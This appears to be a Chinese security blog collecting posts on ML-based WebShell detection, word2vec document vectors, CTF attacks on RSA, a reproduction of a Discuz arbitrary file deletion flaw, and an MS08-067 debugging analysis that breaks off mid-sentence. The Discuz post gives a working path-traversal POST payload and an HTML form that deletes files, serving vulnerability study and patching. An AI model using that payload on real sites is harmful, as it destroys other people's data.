HumblePoster

WebShell detection based on semantic features

Sun, 12 May 2019 00:00:00 +0000

Background

In order to cope with the current complex and flexible WebShell attack environment and better detect various types of webshells, a text classfication method that combains word2vec and Bi-Gram, which not only considered the semantic features but also the word order features, has a better classfication result than using two features alone.

In order to cope with the current complex and flexible WebShell attack environment and better detect various types of webshells, an improved WebShell detection method based on CNN was proposed by improving text feature extraction and convolutional neural network structure. First, precompile the PHP data set to get the opcode instruction sequence. Secondly, Word2vec is used to extract the word vectors of the original text and the phrase segmented by bi-gram respectively, and it serves as the two inputs of the convolutional neural network. Finally, the detection is carried out through the designed convolutional neural network. Through experiments, this method effectively improves the accuracy, recall rate and other performance parameters while compared with other methods.

Introduction

Word-NG vec

In fact, the word embedding learned in Word2vec are more reflect in semantic similarity features , such as “extract” and “take”, “compression” and “reduction”, but without taking the word order features into account. Sometimes there are some differences with the actual semantics, for example:

The USA started a trade war on China

The main predicates of two sentences are interchanged to express different meanings, but there is no difference in Word2Vec. However, if N-Gram is used to divide the text into word groups , we can obtain the word order feature of the text，such as:

Orignal	The USA started a trade war on China
Word2vec	“The USA”，“started”，“a”，“trade war”，“on”，“China” (vector)
2-gram	“The USA/The USA” ，“The USA/started”，“stared”/a”，“a/trade war”，“trade war/on”，“on China”

Combining N-Gram with Word2vec, the word vectors of the original text and 2-gram pharse are both trained by Word2vec as the general features of the text, taking into account not only the semantic features, but also the word order features. In this way, two similar sentences can be correctly classifcated.

Convolutional Neural Network

Based on the Kim Y’s TextCNN, combined with the two-channel convolutional neural network, a text classification model DCTF-CNN(Double-Channels and Trible-Filters Convolutional Neural Network) was constructed.

The structure of the neural network is shown below:

The model includes five layers: input layer, convolution layer, pooling layer, full-link layer and output layer.In the input layer, T1 channel and T2 channel respectively input the word vector of the original text and the word vector of the 2-gram pharse. The convolution layer is composed of three convolution kernels of different widths, each of which covers the local characteristics of different granularity.In the pooling layer, the global maximum value is pooled, and the maximum value is reserved for each convolution kernel, which can effectively extract the most representative features.Two feature vectors were spliced in the full link layer, and finally two types of distributions, namely the probability distribution of WebShell and normal files, were output through Softmax in the output layer.

PHP opcode

PHP is an interpreted language, and its code execution process can be divided into Lexical Analysis stage, Syntax Analysis stage, byte code compilation stage and code execution stage.The execution flow diagram is shown in the solid line section in the below:

In the lexical analysis phase, the Lexer reads the source code sequence of characters in sequence and shred them into Token sequences according to PHP syntax rules.In the Syntax analysis stage, the Token sequence is read in by the Parser to be syntactically checked, and then the Abstract Syntax Tree (AST) is generated.In the bytecode compilation phase, the PHP virtual machine Zend reads in the abstract syntax tree and translates the action nodes in the syntax tree into the corresponding bytecode.In the code execution stage, the PHP virtual machine Zend loads the corresponding module according to the code call, initializes the running environment, and finally executes the bytecode instruction and outputs the result.

For example, the following code:

<?php
echo’Hello World’;
$a=1+1;
echo $a;
?>

After PHP code compilation by VLD extension, the code can be compiled into following opcode:

ZEND_ECHO ’Hello World’
ZEND_ADD ~ 0 1 1
ZEND_ASSIGN!0 ~ 0
ZEND_ECHI ~ 0

In this paper, the collected PHP datasets is compiled into opcode to word embedding, so as to avoid the interference of useless annotations added in the WebShell which might bypass static detection. In this way the generalization of the model could be imporved

Assessment

Experimental data sets were obtained from the following sources:

Type	sources
WebShell	https://github.com/tennc/webshell https://github.com/JohnTroony/php-webshells https://github.com/ysrc/webshell-sample https://github.com/tanjiti/webshellSample https://github.com/xl7dev/WebShell
Normal Page	https://github.com/WordPress/WordPress https://github.com/phpmyadmin/phpmyadmin https://github.com/typecho/typecho https://github.com/bcit-ci/CodeIgniter https://github.com/laravel/laravel

Remove duplicate files by md5 comparsion, a total of 2387 WebShell samples and 2316 Normal Page samples were obtained.

The WebShell samples covers One-word Trojan, small Trojan and giant Trojan all types of WebShell.

The Normal Page covers blog cms，php development framework and database management system, and the similar page was remove to optimize data sets.

Usage

Download code and data sets

git clone https://github.com/liyuanzi/WordNG-vec_WebShell_detect

This code requires Python2.7

conda create --name py27 python=2.7

Initialization environment

pip install -r requerments.txt

start trainning

$ nohup python -u webshell.py >dctf.txt 2>&1 & tail -f dctf.txt

The word embedding process takes a very long time，use nohup to avoid the word embedding process fail because the terminal closed unexpectly. The result is loaded into dctf.txt

Example

A Comparsion examination on a small size data sets .

features	Accuracy	Precision	Recall	F1-score
2-gram	0.798	0.714	0.196	0.308
opcode sequences	0.969	0.998	0.823	0.902
Word2vec	0.958	0.994	0.918	0.954
bigram-word2vec	0.960	0.978	0.937	0.958
Word-NG vec	0.984	0.995	0.971	0.982

Word2vec的文档表示方法

Thu, 09 May 2019 00:00:00 +0000

Word2vec是一种将文本转化为词向量的算法，即将词条映射为一个定长的连续的稠密向量，由这些向量构成一个向量空间，该向量的维数可以在事前确定，一般可以为50维或100维。

例如：

Apple = [1.2,0.2,0.3,0.5]
Pear = [0.1,0.3,0.5,1.5]
Banana = [2.2,0.2,0.4,0.6]
Orange = [0.6,0.1,1.0,0.2]

每个词被表示成一个[1,4]的向量矩阵。

在文本处理的任务中直接处理的是文当，而一个文本中包含很多词，所以需要将文本想办法用Word2vec向量表示。这里有两种思路：

直接将各个词的词向量串接起来，将整个文档表示成一个三维的向量

将文本中各个词的词向量相加求平均，由最终的平均向量代表整个文本

三维文档向量

处理如图所示：

最终将文档表示成一个[M, P, F]三维向量，其中M代表文档个数，P代表每个文档的长度，为了便于神经网络处理会将P处理成统一长度，F代表最大特征值，即Word2vec训练出的向量大小。

这种表示方法CNN处理效果较好。

代码实例如下：

#为了统一文本长度，设置最大文本长度，超过的截断，不足的用0.向量补齐

max_document_length = 500
#最大特征长度，即训练的词向量维度

max_feature = 200

def getVecsByWord2Vec(model, corpus, size):
    global max_document_length

    all_vectors = []
    embeddingDim = model.vector_size
    #0.向量，用于填充

    embeddingUnknown = [0. for i in range(embeddingDim)]
    
    #逐句获取词向量并拼接

    for text in corpus:
        this_vector = []
        #切除掉最大文档长度后的词

        text = text[:max_document_length]
        #逐词获取词向量并拼接

        for i,word in enumerate(text):
            if word in model.wv.vocab:        
                this_vector.append(model[word])
            else:
                this_vector.append(embeddingUnknown)
        
        #不足长度的填充至最大文档长度     

        dim = np.shape(this_vector)
        if dim[0] < max_document_length:    
            pad_length = max_document_length-i-1
            for n in range(0,pad_length):
                this_vector.append(embeddingUnknown)    
        all_vectors.append(this_vector)

    x = np.array(all_vectors)

    return x

def get_feature_by_opcode_word2vec():
    global max_document_length

    x = []
    y = []
    
	# 若有三维文档向量直接加载

    if os.path.exists(wv_data_pkl_file) and os.path.exists(label_pkl_file):
        f = open(wv_data_pkl_file, 'rb')
        x = pickle.load(f)
        f.close()
        f = open(label_pkl_file, 'rb')
        y = pickle.load(f)
        f.close()
    else:
        # 导入训练数据，自定

        x, y = load_data_pkl_file()

        cores=multiprocessing.cpu_count()
        #若有训练好的词向量模型则直接加载

        if os.path.exists(word2vec_bin):
            print "Find cache file %s" % word2vec_bin
            model=gensim.models.Word2Vec.load(word2vec_bin)
        #若没有则训练再保存词向量模型

        else:
            model=gensim.models.Word2Vec(size=max_features, window=5, min_count=5, iter=10, workers=cores)
            model.build_vocab(x)
            model.train(x, total_examples=model.corpus_count, epochs=model.iter)
            model.save(word2vec_bin)
		
        #循环拼接出三维文档集合向量

        x = getVecsByWord2Vec(model, x, max_features)

        f = open(wv_data_pkl_file, 'wb')
        pickle.dump(x, f)
        f.close()

    return x,y

平均词向量

直接将每个文档中所有词的词向量相加求平均，用一个[1,F]的二维平均向量代表改文档。再将所有文档逐个拼接得到一个[M,F]的向量来表示整个文档集合。这种表示方法计算量较小，MLP处理效果还好，CNN效果极差。

代码实例如下：

#最大特征长度，即训练的词向量维度

max_feature = 200

def buildWordVector(model,text, size):
    vec = np.zeros(size).reshape((1, size))
    count = 0.
    #逐词获取词向量并累加

    for word in text:
        try:
            vec += model[word].reshape((1, size))
            count += 1.
        except KeyError:
            continue
    #求平均向量

    if count != 0:
        vec /= count
    return vec

def get_feature_by_opcode_word2vec():
    global max_document_length

    x = []
    y = []
    
	# 若有三维文档向量直接加载

    if os.path.exists(wv_data_pkl_file) and os.path.exists(label_pkl_file):
        f = open(wv_data_pkl_file, 'rb')
        x = pickle.load(f)
        f.close()
        f = open(label_pkl_file, 'rb')
        y = pickle.load(f)
        f.close()
    else:
        # 导入训练数据，自定

        x, y = load_data_pkl_file()

        cores=multiprocessing.cpu_count()
        #若有训练好的词向量模型则直接加载

        if os.path.exists(word2vec_bin):
            print "Find cache file %s" % word2vec_bin
            model=gensim.models.Word2Vec.load(word2vec_bin)
        #若没有则训练再保存词向量模型

        else:
            model=gensim.models.Word2Vec(size=max_features, window=5, min_count=5, iter=10, workers=cores)
            model.build_vocab(x)
            model.train(x, total_examples=model.corpus_count, epochs=model.iter)
            model.save(word2vec_bin)
		
        #循环拼接出二维文档集合向量

        x= np.concatenate([buildWordVector(model,z, max_features) for z in x])
        #归一化

		x = scale(x)
        
        f = open(wv_data_pkl_file, 'wb')
        pickle.dump(x, f)
        f.close()

    return x,y

CTF中RSA的常见攻击方法

Wed, 09 May 2018 00:00:00 +0000

RSA基于一个简单的数论事实，两个大素数相乘十分容易，将其进行因式分解确实困难的。在量子计算机还没有成熟的今天，RSA算法凭借其良好的抵抗各种攻击的能力，在公钥密码体制中发挥着中流砥柱的作用。然而即便RSA算法目前来说是安全可靠的，但是错误的应用场景，错误的环境配置，以及错误的使用方法，都会导致RSA的算法体系出现问题，从而也派生出针对各种特定场景下的RSA攻击方法。

RSA算法描述

RSA算法涉及三个参数，n，e，d，私钥为{n，d}，公钥为{n，e}。

$n= p*q$

$φ(n)= (p-1)*(q-1)$

其中n是两个大素数p，q的乘积。

d是e模φ(n)的逆元，φ(n)是n的欧拉函数。

$e^d = 1 mod φ(n)$

c为密文，m为明文，则加密过程如下：

$c = m^e mod φ(n)$ $m = c^d mod φ(n)$

RSA题目类型

在CTF竞赛中，RSA理所当然处在CRYPTO中居多。而且RSA作为典型的加密算法，其出镜率可谓相当高，基本上所有比赛都会有几道RSA的题目出现。

数据处理

在进行做题之前，我们要将数据处理成可以做题的模式。基本上来说，RSA的题目都是围绕着c，m，e，d，n，p，q这几个参数展开的，但是题目一般不会直接给这种样子的参数，而是通过别的方式给出，这里就需要我们使用一些工具或者自己手工将这些参数提取出来。

pem文件

对此类文件可以直接使用openssl提取，大概使用过的方式有：

openssl   rsautl -encrypt -in FLAG -inkey public.pem -pubin -out flag.enc
openssl   rsa -pubin -text -modulus -in warmup -in public.pem

pcap文件

针对此类文件可以使用wireshark follow一下。这种问题一般都是写了一个交互的crypto系统，所以可能产生多轮交互。

PPC模式

这种模式是上述pcap文件的交互版，会给一个端口进行一些crypto的交互，参数会在交互中给出。

第二个需要处理的就是明密文，这个方法多多，不多赘述。

模数分解

解决RSA题目最简单，最暴力，最好使的方法就是分解模数n。如果能够将n分解成功，成功得到p，q的取值，那么可求n的欧拉函数的值。

$φ(n) = (p-1)(q-1)$ $n = p*q$

而通过e，d与n的欧拉函数满足如下关系:

$ed = 1 mod φ(n)$

$e = d^-1 mod φ(n)$

通过欧几里得算法可以通过e与n的欧拉函数的值轻易求出d，从而计算出解密密钥。

即在知道e，p，q的情况下，可以解出d：

def egcd(a, b):
    if a == 0:
      return (b, 0, 1)
    else:
      g, y, x = egcd(b % a, a)
      return (g, x - (b // a) * y, y)
  def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
      raise Exception('modular inverse does not exist')
    else:
      return x % m

modinv函数即为求模拟的函数，在知道e，p，q的情况下，可以：

d=modinv(e,(p-1)*(q-1))

即可求出解密密钥。

写到这里，要提出一个细节问题，在利用python进行rsa的题目求解过程中：

$c = m^e mod φ(n)$

此类运算需要使用pow函数来进行求解，而不是直接m**e % n，这样会慢死的。Python在处理此类运算进行了优化。比如刚才在已知p，q的时候利用modinv函数求出了d，然后就可以利用pow函数求出明文：

m=pow(c,d,n)

例题：

https://www.jarvisoj.com (very easy RSA)

题目中直接给了p，q，e。

可以直接求出d：

p = 3487583947589437589237958723892346254777
q = 8767867843568934765983476584376578389
e = 65537
d = modinv(e, (p-1)*(q-1))
print d

直接分解n

素数分解问题是困难的，但是可以通过计算机进行暴力分解。1999年，名为Cray的超级计算机用了5个月时间分解了512bit的n。2009年，一群研究人员成功分解了768bit的n。2010年，又提出了一些针对1024bit的n的分解的途径，但是没有正面分解成功。通常意义上来说，一般认为2048bit以上的n是安全的。现在一般的公钥证书都是4096bit的证书。

如果n比较小，那么可以通过工具进行直接n分解，从而得到私钥。如果n的大小小于256bit，那么我们通过本地工具即可爆破成功。例如采用windows平台的RSATool2v17，可以在几分钟内完成256bit的n的分解。

如果n在768bit或者更高，可以尝试使用一些在线的n分解网站，这些网站会存储一些已经分解成功的n，比如： http://factordb.com

通过在此类网站上查询n，如果可以分解或者之前分解成功过，那么可以直接得到p和q。然后利用前述方法求解得到密文。

题目识别

此类问题一般是分值较小的题目，提取出n之后可以发现n的长度小于等于512bit，可以直接取分解n。如果大于512bit，建议在使用每个题目都用后面所说的方法去解题。

例题

比如在某次竞赛中，发现：

n=87924348264132406875276140514499937145050893665602592992418171647042491658461

利用factordb分解：

n = 275127860351348928173285174381581152299*319576316814478949870590164193048041239

利用公约数

如果在两次公钥的加密过程中使用的n1和n2具有相同的素因子，那么可以利用欧几里得算法直接将n1和n2分解。

通过欧几里得算法可以直接求出n1和n2的最大公约数p：

gcd(n1,n2)=p

可以得出

$n1 = pq_1$ $n2 = pq_2$

直接分解成功。而欧几里得算法的时间复杂度为：O(log n)。这个时间复杂度即便是4096 bit也是秒破级别。

def gcd(a, b):
   if a < b:
     a, b = b, a
   while b != 0:
     temp = a % b
     a = b
     b = temp
   return a

题目识别

识别此类题目，通常会发现题目给了若干个n，均不相同，并且都是2048bit，4096bit级别，无法正面硬杠，并且明文都没什么联系，e也一般取65537。

例题

在一个题目中，你拿到了两个n，e都为65537，两个n分别为：

n1=9051013965404084482870087864821455535159008696042953021965631089095795348830954383127323853272528967729311045179605407693592665683311660581204886571146327720288455874927281128121117323579691204792399913106627543274457036172455814805715668293705603675386878220947722186914112990452722174363713630297685159669328951520891938403452797650685849523658191947411429068829734053745180460758604283051344339641429819373112365211739216160420494167071996438506850526168389386850499796102003625404245645796271690310748804327
n2=13225948396179603816062046418717214792668512413625091569997524364243995991961018894150059207824093837420451375240550310050209398964506318518991620142575926623780411532257230701985821629425722030608722035570690474171259238153947095310303522831971664666067542649034461621725656234869005501293423975184701929729170077280251436216167293058560030089006140224375425679571181787206982712477261432579537981278055755344573767076951793312062480275004564657590263719816033564139497109942073701755011873153205366238585665743

通过直接分解，上factordb都分解失败。通过尝试发现：

print gcd(n1,n2)

打印出：

1564859779720039565508870182569324208117555667917997801104862601098933699462849007879184203051278194180664616470669559575370868384820368930104560074538872199213236203822337186927275879139590248731148622362880471439310489228147093224418374555428793546002109

则此致即为两个n共有的素因子p，然后进一步求出q，求解完毕。

Fermat方法与Pollard rho方法

针对大整数的分解有很多种算法，性能上各有优异，有Fermat方法，Pollard rho方法，试除法，以及椭圆曲线法，连分数法，二次筛选法，数域分析法等等。其中一些方法应用在RSA的攻击上也有奇效。

在p，q的取值差异过大，或者p，q的取值过于相近的时候，Format方法与Pollard rho方法都可以很快将n分解成功。

此类分解方法有一个开源项目yafu将其自动化实现了，不论n的大小，只要p和q存在相差过大或者过近时，都可以通过yafu很快地分解成功。

题目识别

在直接分解n无望，不能利用公约数分解n之后，都应该使用yafu去试一下。

例题

https://www.jarvisoj.com (Medium RSA)

此题首先从pem中提取N和e，然后上yafu，直接分解成功。

低加密指数攻击

在RSA中e也称为加密指数。由于e是可以随意选取的，选取小一点的e可以缩短加密时间，但是选取不当的话，就会造成安全问题。

e=3时的小明文攻击

当e=3时，如果明文过小，导致明文的三次方仍然小于n，那么通过直接对密文三次开方，即可得到明文。

即：

$c = m^e mod φ(n)$

如果e=3，且 m^e < n，那么：

$c = m^e$ $e = 3$ $m = \sqrt{3} c$

如果明文的三次方比n大，但是不是足够大，那么设k，有：

$c = m^e+kn$

爆破k，如果$c-kn$能开三次根式，那么可以直接得到明文。

题目识别

在e=3的时候首先尝试这种方法

例题

https://www.jarvisoj.com (Extremely hard RSA)

关键代码如下：此题通过不断给明文+n开三次方即可求得：

i=0
   while 1:
   if(gmpy.root(c+i*N, 3)[1]==1):
     print gmpy.root(c+i*N, 3)
     break
   i=i+1

低加密指数广播攻击

如果选取的加密指数较低，并且使用了相同的加密指数给一个接受者的群发送相同的信息，那么可以进行广播攻击得到明文。

即，选取了相同的加密指数e（这里取e=3），对相同的明文m进行了加密并进行了消息的传递，那么有：

$ c_1 = m^e$ $mod$ $n_1$

$c_2 = m^e$ $mod$ $n_2$

$ c_3 = m^e$ $mod$ $n_3$

对上述等式运用中国剩余定理，在e=3时，可以得到：

$ c_x = m^3$ $mod$ $n_1n_2n_3$

通过对$ c_x $进行三次开方可以求得明文。

题目识别

一般来说都是给了三组加密的参数和明密文，其中题目很明确地能告诉你这三组的明文都是一样的，并且e都取了一个较小的数字。

例题：

SCTF2016，CODE300

题目第二轮中通过流量包的方式给了广播攻击的参数。

直接给国外类似一题的网址：http://codezen.fr/2014/01/16/hackyou-2014-crypto-400-cryptonet

Coppersmith定理攻击

Coppersmith定理指出在一个e阶的mod n多项式f(x)中，如果有一个根小于，就可以运用一个O(log n)的算法求出这些根。

Coppersmith定理指出在一个e阶的mod n多项式f(x)中，如果有一个根小于$ n^frac{1}{e} $，就可以运用一个O(log n)的算法求出这些根。

这个定理可以应用于RSA算法。如果e = 3并且在明文当中只有三分之二的比特是已知的，这种算法可以求出明文中所有的比特。

并未找到真题。

低解密指数攻击

与低加密指数相同，低解密指数可以加快解密的过程，但是者也带来了安全问题。

那么一种基于连分数(一个数论当中的问题)的特殊攻击类型就可以危害RSA的安全。此时需要满足：

$q<$$p$$<2q$

如果满足上述条件，通过Wiener Attack可以在多项式时间中分解n。

rsa-wiener-attack的攻击源码开源在了github中，采取python编写，可以很容易使用。

题目识别

e看起来很大就行了。

例题

直接github用工具就行。https://github.com/pablocelayes/rsa-wiener-attack

这里注意一个细节问题，如果在运行脚本的时候报错，请在脚本前加上：

import   sys
sys.setrecursionlimit(10000000)

共模攻击

如果在RSA的使用中使用了相同的模n对相同的明文m进行了加密，那么就可以在不分解n的情况下还原出明文m的值。即：

$ c_1=m^{e_1}$ $mod$ $n$

$ c_2=m^{e_2}$ $mod$ $n$

即存在$ s_2 $，$ s_2 $使得：

$ s1^{e_1} + s2^{e_2} = 1 $

又因为

$ c_1= m^{e_1}$ $mod$ $n$

$ c_2 = m^{e_2}$ $mod$ $n$

明文解出。

题目识别

非常简单，若干次加密，每次n都一样，明文根据题意也一样即可。

例题

https://www.jarvisoj.com (very hard RSA)

如果已知：n1，n2，c1，c2，e1，e2，并且其中n1=n2的话：

s = egcd(e1, e2)
 s1 = s[1]
 s2 = s[2]
   print s
 n=n1
   if s1<0:
     s1 = - s1
     c1 = modinv(c1, n)
   elif s2<0:
     s2 = - s2
     c2 = modinv(c2, n)
 m=(pow(c1,s1,n)*pow(c2,s2,n)) % n

Discuz2.5-3.4任意文件操作漏洞

Fri, 29 Sep 2017 00:00:00 +0000

简介

Discuz!X社区软件，是一个采用 PHP 和 MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。

2017年9月29日，Discuz!修复了一个安全问题用于加强安全性，这个漏洞会导致前台用户可以任意删除文件。

该漏洞于2014年6月被提交到 Wooyun漏洞平台，Seebug漏洞平台收录了该漏洞，漏洞编号 ssvid-93588。该漏洞通过配置属性值，导致任意文件删除。经过分析确认，原有的利用方式已经被修复，添加了对属性的 formtype 判断，但修复方式不完全导致可以绕过，通过模拟文件上传可以进入其他 unlink 条件，实现任意文件删除漏洞。

影响版本： 2.5-3.4
修复方案:

https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574

删除unlink相关代码。

原理

核心问题在 ==upload/source/include/spacecp/spacecp_profile.php==

跟入代码70行,当提交 ==profilesubmit== 时进入判断，跟入177行

我们发现如果满足配置文件中某个==formtype==的类型为 ==file==，我们就可以进入判断逻辑，我们接着看这次修复的改动，可以发现228行再次引入语句 ==unlink==

当上传文件并上传成功，即可进入 unlink 语句

然后回溯变量==$space[$key]==,不难发现这就是用户的个人设置。

只要找到一个可以控制的变量即可，这里选择了 ==birthprovince。==

在设置页面直接提交就可以绕过字段内容的限制了。

成功实现了任意文件删除

复现

环境：win7+phpstudy+discuz3.2

新建importantfile.txt作为测试

进入设置-个人资料，先在页面源代码找到formhash值

http://10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&ac=profile

可以看到formhash值是b21b6577。

再访问

10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&ac=profile&op=base

Post数据：

birthprovince=../../../importantfile.txt&profilesubmit=1&formhash=b21b6577

如图

执行后

出生地被修改成要删除的文件。

最后构造表单执行删除文件

<form action=”http://10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&ac=profile&op=base” method=”POST” enctype=”multipart/form-data”>

<input type=”file” name=”birthprovince” id=”file” />

<input type=”text” name=”formhash” value=”b21b6577″/></p>

<input type=”text” name=”profilesubmit” value=”1″/></p>

<input type=”submit” value=”Submit” />

</from>

随便上传一张图片，即可删除importantfile.txt

成功删除importantfile.txt

修复

Discuz!X 的码云已经更新修复了该漏洞

https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574

MS08-067漏洞原理及复现分析

Tue, 12 Sep 2017 00:00:00 +0000

445端口

首先介绍一下这个引发了诸多特大漏洞的445端口。

TCP 445端口主要运行两种服务：

SMB 网络服务
MSRPC 网络服务

**SMB（Server Message Block，服务器消息块）**首先提供了 Windows 网络中最常用的远程文件与打印机共享网络服务，其次，SMB的命名管道是 MSRPC 协议认证和调用本地服务的承载传输层。

SMB 作为应用层协议，其直接运行在TCP 445端口上，也可通过调用 NBT 的 TCP 139端口来接收数据。

**MSRPC（Microsoft Remote Procedure Call，微软远程过程调用）**是对 DCE/RPC 在 Windows 系统下的重新改进和实现，用以支持Windows系统中的应用程序能够无缝地通过网络调用远程主机上服务进程中的过程。

DCE/RPC 独立运行于网络传输层协议上，采用的网络传输层协议包括：

ncacn_ip_tcp => TCP 139
ncadg_ip_udp => UDP 135
ncacn_np => TCP 139、445

其中，主要使用的是 ncacn_np（SMB命名管道传输协议），也就是利用 SMB 命名管道机制作为 RPC 的承载传输协议（MSRPC over SMB）。

只有少数如MS09-050是直接针对SMB服务的，而MSRPC作为调用大量本地服务进程的网络接口，常常被利用 MSRPC over SMB 为通道如MS08-067来攻击本地服务中存在的安全漏洞。

0x01 MS08-067漏洞原理

MS08-067漏洞是通过 MSRPC over SMB 通道调用 Server 服务程序中的 NetPathCanonicalize 函数时触发的，而 NetPathCanonicalize 函数在远程访问其他主机时，会调用 NetpwPathCanonicalize 函数，对远程访问的路径进行规范化，而在 NetpwPathCanonicalize 函数中存在的逻辑错误，造成栈缓冲区可被溢出，而获得远程代码执行（Remote Code Execution）。

所谓路径规范化，就是将路径字符串中的【/】转换为【\】，同时去除相对路径【.\】和【..\】。如：

**/*/./**   =>  **\*\**
**\*\..\**  =>  **\**

在路径规范化的操作中，服务程序对路径字符串的地址空间检查存在逻辑漏洞。攻击者通过精心设计输入路径，可以在函数去除【..\】字符串时，把路径字符串中内容复制到路径串之前的地址空间中（低地址），达到覆盖函数返回地址，执行任意代码的目的。

路径处理流程

NetpwPathCanonicalize 函数并没有直接进行输入路径和规范化，而是继续调用了下级函数CanonicalizePathName 来进行路径整理，将待整理的路径字符串进行规范化，然后再保存到预先分配的输出路径缓冲区buffer中。

路径处理流程：

检查待整理路径的第一个字符
调用msvcrt.dll模块的wcslen函数计算路径长度
调用msvcrt.dll模块的wcscat函数把待整理路径全部复制到新申请的内存中

\4. 调用wcscpy函数，去掉待整理路径中第一个表示父目录的相对路径复制到strTemp，如：

\******\..\..\***   =>  \..\***

5.循环调用wcscpy，直到路径整理完毕

在这里我们知道了，在规范化复制时要寻找表示父目录的【..\】字符串及其前面的一个【\】字符串，将这一段去掉并将新路径复制。

如图，第一次检查时去掉了第一个相对路径并复制到缓冲区

但是，当【..\】字符串在路径字符串的最前面时，那么其前面的一个【\】就在缓冲区外面了，就是在这里产生了向前（低地址）的溢出。

缓冲区溢出

需要明确的是，微软对路径规范化时的字符串复制可能出现的缓冲区溢出做了初步的防御。

在每次向缓冲区中复制字符串时，无论是用 wcsccpy 还是 wcscat，在复制前总要比较源字符串的长度，保证长度小于某个值（207），否则不会继续复制，这一策略确保缓冲区不会向高地址溢出，即当前函数返回时不会发生问题。

**但是注意，**在规范化表示路径，寻找父目录的【..\】字符串前面的【\】字符时，程序做了判断和边界检查：如果当前比较字符的地址与源字符串地址相同，就表明整个字符串已经查找完毕，程序就会停止查找。

然而它唯独漏了一种情况，就是当父目录相对路径【..\】字符串在源字符串的开头时，在开始查找时比较的字符串(【\】到【..\】)位于缓冲区之外，这导致了复制的字符串向低地址的溢出，造成函数wcscpy的返回地址被覆盖。

0x02 漏洞还原分析

实验环境

靶机 Windows2003 SP0 EN
漏洞组件 netapi32.dll
工具 IDA Pro、OllyDbg

选择 Windows XP SP3 EN 系统主机作为分析环境，定位到包含该安全漏洞的系统模块netapi32.dll（路径C:\Windows\system32）和调用漏洞服务 Server 的进程 svchost.exe，目标进程命令行为

C:\Windows\System32\svchost.exe-k netsvcs

用 IDA pro 打开 netapi32.dll，找到漏洞所在的 NetpwPathCanonicalize 函（每次运行堆栈中的地址会不同，但各函数的地址一样），如图在书中提到

查看该函数流程图，可以看到，此函数并没有直接进行输入路径的规范化，而是继续调用了下级函数 CanonicalizePathName

然而在实际操作中并没有发现 CanonicalizePathName 这个函数，并且多种资料表明应当是调用 CanonPathName 函数进行规范化。

IDA分析 NetpwPathCanonicalize 函数代码（F5 + 整理 + 主要代码）：

该函数声明如下：

DWORD NetpwPathCanonicalize(
    LPWSTR PathName, //需要标准化的路径
    LPWSTR Outbuf, //存储标准化后的路径的Buffer
    DWORD OutbufLen, //Buffer长度
    LPWSTR Prefix, //可选参数，当PathName是相对路径时有用
    LPDWORD PathType, //存储路径类型
    DWORD Flags // 保留，为0
 )

动态调试

通过wmic查看命令行参数为svchost.exe -k netsvcs的进程pid

打开OllyDbg，点击file->attach，附着到svchost.exe进程上

View->Executable modules双击netapi32，在cpu指令窗口右键选Search for查找exec(label) in current module，找到函数NetpwPathCanonicalize，地址为71C44A3E，在此处设下断点。

追踪漏洞触发过程

回到CPU指令窗口运行程序，然后攻击机Metasploit加载ms08_067_netapi模块并exploit

NetpwPathCanonicalize中断

分析环境中的svchost程序会中断在 NetpwPathCanonicalize 函数的入口地址处。该函数的传入参数如下所示：

esp    		[esp]		* 注释 *
00ECF924	02248D34	;指向待整理路径
00ECF928	022321D8	;指向输出路径buffer
00ECF92C	000003F1	;输出buffer的长度
00ECF930	02248FB0	;指向prefix，值为 \x5C\x00 ，即unicode ‘\’
00ECF934	02248FB4	;指向路径类型，值为 0x1001
00ECF938	00000000	;WORD Flags保留，值为0

CanonicalizePathName中断

结合IDA pro对 NetpwPathCanonicalize 的流程分析，在地址处将调用下一级函数 CanonPathName，在此地址设下断点。

运行到此断点，然后跟踪函数 CanonPathName，传入参数如下所示：

00F0F8FC	00157570	;指向prefix，值为\x5C\00，即Unicode"\"
00F0F900	001572F4	;指向待整理路径
00F0F904	02132E80	;指向输出路径的buffer
00F0F908	000003F9	;输出buffer的长度
00F0F90C	00000000	;WORD Flag保留字，值为0

从上两个函数的参数传递可以看出，函数 CanonPathName 进行路径整理，然后再保存到预先分配的输出路径缓冲区buffer中。

待整理路径结构

在OD中查看待整理路径的结构，路径是Unicode字符串，以【\x5C\x00】(Unicode字符“\”)开始，【\x00\x00】结束，中间包含一些随机的大小写字母，较长一段不可显示的字符是经过编码的Shellcode，其中最关键的是两个连在一起的父目录相对路径【....\】。

整个待整理路径形如：

\******\..\..\***

整理路径前的预操作

在待整理路径所在内存地址000C0F50处4字节上设内存访问断点

按F9运行，会中断3次，前两次分别是检查待整理路径的第一个字符和调用wcslen函数，第三次是在调用wcscat函数。分析第三次传入栈中两个参数

第一个是strDestination，指向一段以【\x5c\x00】开头的内存空间；第二个是strSource，指向上述待整理路径前两字节【\x5c\x00】后的内容。

程序把待整理路径全部复制到strDestination，即0x001572F6处。在此4字节设断点，类型选择"Hardware, on access"DWord。

复制路径到缓冲区

F9继续运行，第4次中断在0x77BD4010 ，内存里显示这里将src的前两个字符复制到了dest的【\x5C\x00】后面，这是由于这两个字节设了断点的原因。

第5次中断在0x71C44B1C，位于wcscat函数内，内存显示已将src复制到dest，如图:

第一次路径规范化

按F9运行，中断多次后停在内存0x77bd4d36处，通过栈可知此处属于wcscpy函数。此处调用该函数进行第一次路径规范化。如图

当前参数src值为0x00EC6E0，指向【..***】;参数 strDestination 值为0x00ECF4DC，指向temp中的第一个字符【\】。显然，这次路径规范化即把待整理路径中第一个字符【\】和第一个【..\】相对路径之间的内容抛弃。

而此时wcscpy源地址src在edx寄存器中，指向【..***】；目的地址dest在ecx寄存器中，指向待整理路径第一个字符【\】，如图

所以，这次字符串复制操作就是去掉第一个表示父目录的相对路径，即待整理路径temp中的第一个【\】和第一个【..\】之间的内容成为无用路径被抛弃。操作完成后，temp中的路径字符形如【..***】。

第一次规范化后，待整理路径形如

\..\***

由于还有【..\】，还需要进行一次规范化，而这第二次规范化正是玄机所在。

第二次路径规范化

由于每次路径规范化都会调用wcscpy函数，接下来删除0x00ECF4DC的硬件断点，直接在wcscpy函数的入口地址0x77BD4D28处下断点。

F9运行后中断在wcscpy函数入口0x77BD4D28处，调用wcscpy函数传入的参数

